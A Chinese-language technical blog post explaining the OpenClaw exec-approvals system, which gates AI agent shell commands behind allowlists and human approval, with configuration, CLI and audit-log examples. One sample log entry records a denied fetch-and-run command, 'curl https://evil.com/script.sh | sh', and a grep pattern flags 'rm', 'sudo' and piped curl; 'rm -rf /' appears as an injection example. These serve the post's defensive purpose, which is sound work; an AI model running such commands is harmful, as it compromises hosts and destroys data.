OpenClaw exec-approvals 命令执行审批机制深度解析与实践
从技术角度深入解析 OpenClaw 的命令执行审批机制,探讨企业级 AI Agent 的安全管理
前言
在企业级 AI Agent 部署中,安全性是绕不开的核心问题。Agent 需要执行命令来完成各种任务,但如何防止误操作或恶意操作?
OpenClaw 提供了 exec-approvals(命令执行审批)机制来解决这个问题。
声明:本文基于 OpenClaw 2026.3.28 版本实测与官方文档编写。
一、为什么需要命令执行审批?
1.1 AI Agent 的执行风险
┌───────────────────────────────────────────────────────────────┐
│ AI Agent 执行风险 │
├───────────────────────────────────────────────────────────────┤
│ │
│ 场景1: 误操作 │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │
│ │ 用户要求删除 │───►│ Agent 理解 │───►│ 执行 rm -rf │ │
│ │ "清理缓存" │ │ "清理所有" │ │ 结果: 删光 │ │
│ └─────────────┘ └─────────────┘ └─────────────┘ │
│ │
│ 场景2: 恶意指令 │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │
│ │ 攻击者注入 │───► │ Agent 执行 │───►│ 泄露敏感数据 │ │
│ │ 恶意指令 │ │ rm -rf / │ │ 或破坏系统 │ │
│ └─────────────┘ └─────────────┘ └─────────────┘ │
│ │
└───────────────────────────────────────────────────────────────┘
1.2 传统方案的局限性
| 方案 | 问题 |
|---|---|
| 完全禁用 | Agent 失去能力,变成"哑巴" |
| 完全信任 | 风险不可控 |
| 规则引擎 | 规则复杂,维护成本高 |
1.3 exec-approvals 的解决思路
核心思想:在命令执行前增加一道"审批门槛",由人类决定是否执行。
二、exec-approvals 机制详解
2.1 官方定义
Exec approvals are the companion app / node host guardrail for letting a sandboxed agent run commands on a real host.
翻译:exec-approvals 是 companion app / node host 的安全护栏,用于控制沙箱中的 Agent 在真实主机上执行命令。
2.2 架构位置
┌─────────────────────────────────────────────────────────────────┐
│ exec-approvals 架构 │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 用户 ──► OpenClaw Gateway ──► exec-approvals ──► 主机执行 │
│ │ │ │
│ │ ├── security 检查 │
│ │ ├── allowlist 检查 │
│ │ └── ask (审批提示) │
│ │ │
│ └─────── 审计日志 │
│ │
└─────────────────────────────────────────────────────────────────┘
2.3 技术实现原理
┌─────────────────────────────────────────────────────────────────┐
│ Unix Socket 通信机制 │
├─────────────────────────────────────────────────────────────────┤
│ │
│ Gateway │
│ │ │
│ │ 1. 发起请求 (~/.openclaw/exec-approvals.sock) │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ Unix Socket │ │
│ │ • 本地进程间通信 │ │
│ │ • 无需网络 │ │
│ │ • token 认证 │ │
│ └─────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ 2. 认证 + 审批决策 │
│ exec-approvals.json │
│ │
└─────────────────────────────────────────────────────────────────┘
2.4 执行流程
┌─────────────────────────────────────────────────────────────────┐
│ 命令执行审批流程 │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 1. Agent 发起命令执行请求 │
│ │ │
│ ▼ │
│ 2. 检查 security 配置 │
│ ┌─────────────────────────────────────────┐ │
│ │ deny → 直接拒绝 ❌ │ │
│ │ full → 直接执行 ✅ │ │
│ │ allowlist → 继续检查 │ │
│ └─────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ 3. 检查 allowlist(仅当 security=allowlist 时) │
│ ┌─────────────────────────────────────────┐ │
│ │ 匹配 → 执行 ✅ │ │
│ │ 不匹配 → 继续检查 │ │
│ └─────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ 4. 根据 ask 配置决定是否弹窗 │
│ ┌─────────────────────────────────────────┐ │
│ │ off → 拒绝 ❌ │ │
│ │ on-miss → 弹窗审批 📱 │ │
│ │ always → 弹窗审批 📱 │ │
│ └─────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ 5. 用户确认/拒绝 │
│ ┌─────────────────────────────────────────┐ │
│ │ 批准 → 执行 ✅ │ │
│ │ 拒绝 → 拒绝 ❌ │ │
│ │ 超时 → askFallback 决定 │ │
│ └─────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ 6. 记录审计日志 │
│ │
└─────────────────────────────────────────────────────────────────┘
三、核心配置项
3.1 security(安全级别)
| 值 | 说明 | 适用场景 |
|---|---|---|
| deny | 阻止所有命令执行 | 高安全环境 |
| allowlist | 只允许白名单中的命令 | 推荐 |
| full | 允许所有命令 | 开发测试 |
3.2 ask(审批时机)
| 值 | 说明 |
|---|---|
| off | 从不弹窗,直接按规则处理 |
| on-miss | allowlist 不匹配时弹窗 |
| always | 每次执行都弹窗 |
3.3 askFallback(弹窗不可用时)
| 值 | 说明 |
|---|---|
| deny | 拒绝执行 |
| allowlist | allowlist 匹配则执行 |
| full | 允许执行 |
3.4 autoAllowSkills
| 值 | 说明 |
|---|---|
| true | 自动允许 Skill 调用命令 |
| false | 需要手动审批 |
四、配置文件详解
4.1 完整配置结构
{
"version": 1,
"socket": {
"path": "~/.openclaw/exec-approvals.sock",
"token": "base64url-token"
},
"defaults": {
"security": "allowlist",
"ask": "on-miss",
"askFallback": "deny",
"autoAllowSkills": false
},
"agents": {
"main": {
"security": "allowlist",
"ask": "on-miss",
"askFallback": "deny",
"autoAllowSkills": false,
"allowlist": [
{
"id": "uuid-xxx",
"pattern": "ls *",
"lastUsedAt": 1737150000000,
"lastUsedCommand": "ls -la",
"lastResolvedPath": "/bin/ls"
}
]
}
}
}
4.2 字段说明
| 字段 | 类型 | 说明 |
|---|---|---|
version |
number | 配置版本,当前为 1 |
socket.path |
string | Unix socket 路径 |
socket.token |
string | 认证令牌 |
defaults.* |
object | 默认配置 |
agents.*.security |
string | 安全级别 |
agents.*.ask |
string | 审批时机 |
agents.*.askFallback |
string | 回退策略 |
agents.*.allowlist |
array | 白名单规则 |
allowlist[].id |
string | 规则唯一标识 |
allowlist[].pattern |
string | 命令匹配模式(支持通配符) |
allowlist[].lastUsedAt |
number | 最后使用时间戳 |
allowlist[].lastUsedCommand |
string | 最后执行的命令 |
allowlist[].lastResolvedPath |
string | 解析后的命令路径 |
4.3 配置优先级
当 defaults 和 agents.* 同时配置时,优先级关系:
agents.* > defaults
即:Agent 级别配置会覆盖 defaults 中的同名字段。
示例:
{
"defaults": {
"security": "deny",
"ask": "always"
},
"agents": {
"main": {
"security": "allowlist" // 覆盖 defaults.security
// ask 未配置,继承 defaults.ask = "always"
}
}
}
4.4 allowlist 匹配规则详解
pattern 支持通配符匹配,但需要注意匹配规则:
| pattern | 匹配示例 | 不匹配示例 |
|---|---|---|
ls * |
ls -la, ls /tmp |
ls \| grep, ls && rm |
git * |
git status, git log |
git push origin main(仅匹配命令名+第一个参数) |
npm run * |
npm run build, npm run test |
npm install, npm i |
rm * |
rm -rf /tmp, rm file.txt |
rm -rf /(需要更精确的 pattern) |
注意事项:
-
pattern 匹配的是命令名 + 第一个参数
-
不匹配管道符
|、&&、;等连接符后的命令 -
通配符
*只匹配空格分隔的单个参数,不匹配多个参数
安全建议:
-
避免使用过于宽泛的 pattern(如
*) -
对高危命令使用更精确的 pattern
-
配合
ask=always实现二次确认
4.5 ⚠️ 安全风险提示
| 风险项 | 说明 | 缓解措施 |
|---|---|---|
| token 明文存储 | socket.token 在配置文件中明文存储 | 限制 socket 文件权限(600) |
| 文件权限 | exec-approvals.json 可能被恶意修改 | 使用 chmod 600 保护 |
| Socket 劫持 | 本地攻击者可能伪造 Socket | 验证 socket 所有权 |
# 保护配置文件
chmod 600 ~/.openclaw/exec-approvals.json
# 检查 socket 文件权限
ls -la ~/.openclaw/exec-approvals.sock
五、CLI 操作指南
5.1 查看当前配置
openclaw approvals get
输出示例:
🦞 OpenClaw 2026.3.28 (f9b1079)
Approvals
┌───────────┬──────────────────────────────────────────────────┐
│ Field │ Value │
├───────────┼──────────────────────────────────────────────────┤
│ Target │ local │
│ Path │ ~/.openclaw/exec-approvals.json │
│ Exists │ yes │
│ Hash │ 489ea97f1ddba003a3ae8480e523f71b... │
│ Version │ 1 │
│ Socket │ ~/.openclaw/exec-approvals.sock │
│ Agents │ 1 │
│ Allowlist │ 2 │
└───────────┴──────────────────────────────────────────────────┘
Allowlist
┌──────────┬────────┬──────────────────────────────────────────┐
│ Target │ Agent │ Pattern │
├──────────┼────────┼──────────────────────────────────────────┤
│ local │ * │ ls * │
│ local │ * │ rm * │
└──────────┴────────┴──────────────────────────────────────────┘
5.2 添加白名单规则
# 添加单条规则
openclaw approvals allowlist add "ls *"
# 为指定 agent 添加规则
openclaw approvals allowlist add --agent main "git status"
# 通配符匹配
openclaw approvals allowlist add "npm run *"
输出示例:
Writing local approvals.
Target: local
Allowlist
┌──────────┬────────┬──────────────────────────────────────────┐
│ Target │ Agent │ Pattern │
├──────────┼────────┼──────────────────────────────────────────┤
│ local │ * │ ls * │
│ local │ * │ rm * │
│ local │ * │ git status │
└──────────┴────────┴──────────────────────────────────────────┘
5.3 移除白名单规则
openclaw approvals allowlist remove "ls *"
5.4 替换整个配置
# 从文件导入配置
openclaw approvals set --file ./my-approvals.json
# 为指定节点设置
openclaw approvals set --node my-macbook --file ./approvals.json
5.5 排错指引
配置后遇到问题?按以下表格排查:
| 问题 | 可能原因 | 排查命令 |
|---|---|---|
| 审批不生效 | security 配置错误 | openclaw approvals get 查看 security 级别 |
| Socket 连接失败 | 权限不足 | ls -la ~/.openclaw/exec-approvals.sock |
| Token 认证失败 | Token 不匹配 | 检查配置中的 token 是否与 socket.token 一致 |
| allowlist 不匹配 | Pattern 语法错误 | 参考 4.4 节的匹配规则 |
| 审批弹窗不显示 | UI 不可用 | 检查 askFallback 配置 |
| 命令被拒绝 | 未在 allowlist 中 | 添加规则或调整 security 级别 |
排查步骤:
# 1. 确认配置已加载 openclaw approvals get # 2. 检查配置文件权限 ls -la ~/.openclaw/exec-approvals.json # 3. 查看审批日志 tail -f ~/.openclaw/logs/commands.log # 4. 检查 socket 状态 ls -la ~/.openclaw/exec-approvals.sock
六、实战配置方案
6.1 个人开发环境
{
"defaults": {
"security": "allowlist",
"ask": "on-miss",
"askFallback": "deny",
"autoAllowSkills": true
},
"agents": {
"main": {
"allowlist": [
{ "pattern": "ls *" },
{ "pattern": "cat *" },
{ "pattern": "git *" },
{ "pattern": "npm *" },
{ "pattern": "node *" },
{ "pattern": "python *" },
{ "pattern": "code *" },
{ "pattern": "open *" }
]
}
}
}
6.2 企业生产环境
{
"defaults": {
"security": "allowlist",
"ask": "always",
"askFallback": "deny",
"autoAllowSkills": false
},
"agents": {
"main": {
"allowlist": [
{ "pattern": "ls *" },
{ "pattern": "git status" },
{ "pattern": "git log *" }
]
}
}
}
6.3 高危命令隔离
{
"defaults": {
"security": "allowlist",
"ask": "always",
"askFallback": "deny"
},
"agents": {
"main": {
"allowlist": [
{ "pattern": "ls *", "id": "safe-read" },
{ "pattern": "cat *", "id": "safe-read" },
{ "pattern": "git *", "id": "safe-git" }
]
},
"admin": {
"security": "full",
"ask": "off"
}
}
}
七、安全最佳实践
7.1 原则
| 原则 | 说明 |
|---|---|
| 最小权限 | 只允许必要的命令 |
| 分级审批 | 按风险等级配置不同策略 |
| 审计可追溯 | 记录所有执行日志 |
| 定期审查 | 定期检查和优化白名单 |
7.2 风险场景与应对
| 场景 | 风险 | 应对措施 |
|---|---|---|
| 删除命令 | 数据丢失 | ask=always |
| 网络命令 | 数据泄露 | 严格白名单 |
| sudo 提权 | 权限失控 | 单独配置 |
| 脚本执行 | 未知风险 | ask=always |
7.3 监控与告警
# 查看审批日志 tail -f ~/.openclaw/logs/commands.log # 审计所有拒绝的操作 grep "denied" ~/.openclaw/logs/commands.log
7.4 审计日志格式
exec-approvals 会记录所有审批事件到日志文件:
日志文件位置:~/.openclaw/logs/commands.log
日志字段说明:
| 字段 | 类型 | 说明 |
|---|---|---|
timestamp |
string | 时间戳(ISO 8601 格式) |
command |
string | 执行的命令 |
action |
string | 审批结果(approved/denied/pending) |
approver |
string | 审批人(human/system) |
agent |
string | 发起请求的 Agent 名称 |
rule |
string | 匹配的规则(allowlist/deny/full) |
pattern |
string | 匹配的 pattern |
user |
string | 执行命令的用户 |
cwd |
string | 执行目录 |
日志示例:
{
"timestamp": "2026-03-29T10:00:00.000Z",
"command": "rm -rf /tmp/test",
"action": "approved",
"approver": "admin@company.com",
"agent": "main",
"rule": "allowlist",
"pattern": "rm *",
"user": "junli",
"cwd": "/Users/junli/Projects/myapp"
}
{
"timestamp": "2026-03-29T10:05:00.000Z",
"command": "curl https://evil.com/script.sh | sh",
"action": "denied",
"approver": "system",
"agent": "main",
"rule": "deny",
"pattern": null,
"user": "junli",
"cwd": "/Users/junli"
}
审计分析:
# 统计审批通过率
grep "action" ~/.openclaw/logs/commands.log | grep -c "approved"
grep "action" ~/.openclaw/logs/commands.log | grep -c "denied"
# 分析最常触发的规则
grep "pattern" ~/.openclaw/logs/commands.log | cut -d'"' -f4 | sort | uniq -c | sort -rn
# 查看高危命令
grep -E "rm |sudo |curl.*\|" ~/.openclaw/logs/commands.log
7.4 文件权限加固
# 保护配置文件
chmod 600 ~/.openclaw/exec-approvals.json
# 保护 socket 文件
chmod 600 ~/.openclaw/exec-approvals.sock
# 检查当前权限
ls -la ~/.openclaw/exec-approvals*
八、与"人类在环"的关系
8.1 exec-approvals 的定位
exec-approvals 是 OpenClaw 实现"人类在环"(Human-in-the-Loop)的重要组件,但仅覆盖命令执行。
8.2 完整的人类在环需要
| 能力 | 状态 | 说明 |
|---|---|---|
| 命令执行审批 | ✅ 已实现 | exec-approvals |
| 文件操作审批 | ❌ 未实现 | 需关注后续版本 |
| API 调用审批 | ❌ 未实现 | 需关注后续版本 |
| 消息发送审批 | ❌ 未实现 | 需关注后续版本 |
8.3 当前局限性
exec-approvals 是"人类在环"在命令执行领域的实现,要实现全面的安全控制,还需要其他工具和机制配合。
九、总结
9.1 exec-approvals 核心价值
| 价值 | 说明 |
|---|---|
| 风险控制 | 有效防止误操作和恶意命令 |
| 灵活配置 | 支持多种安全级别和审批策略 |
| 审计追溯 | 完整的执行记录 |
| 企业友好 | 满足合规要求 |
9.2 适用场景
| 场景 | 推荐配置 | 说明 |
|---|---|---|
| 个人开发 | security=allowlist, ask=on-miss | 平衡效率与安全 |
| 团队协作 | security=allowlist, ask=always | 增强审批 |
| 生产环境 | security=deny 或严格 allowlist | 最高安全级别 |
| 临时测试 | security=full | 完全放开 |
9.3 未来展望
期待 OpenClaw 在后续版本中增加:
-
文件操作审批
-
API 调用审批
-
插件安装审批
参考资料
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐
所有评论(0)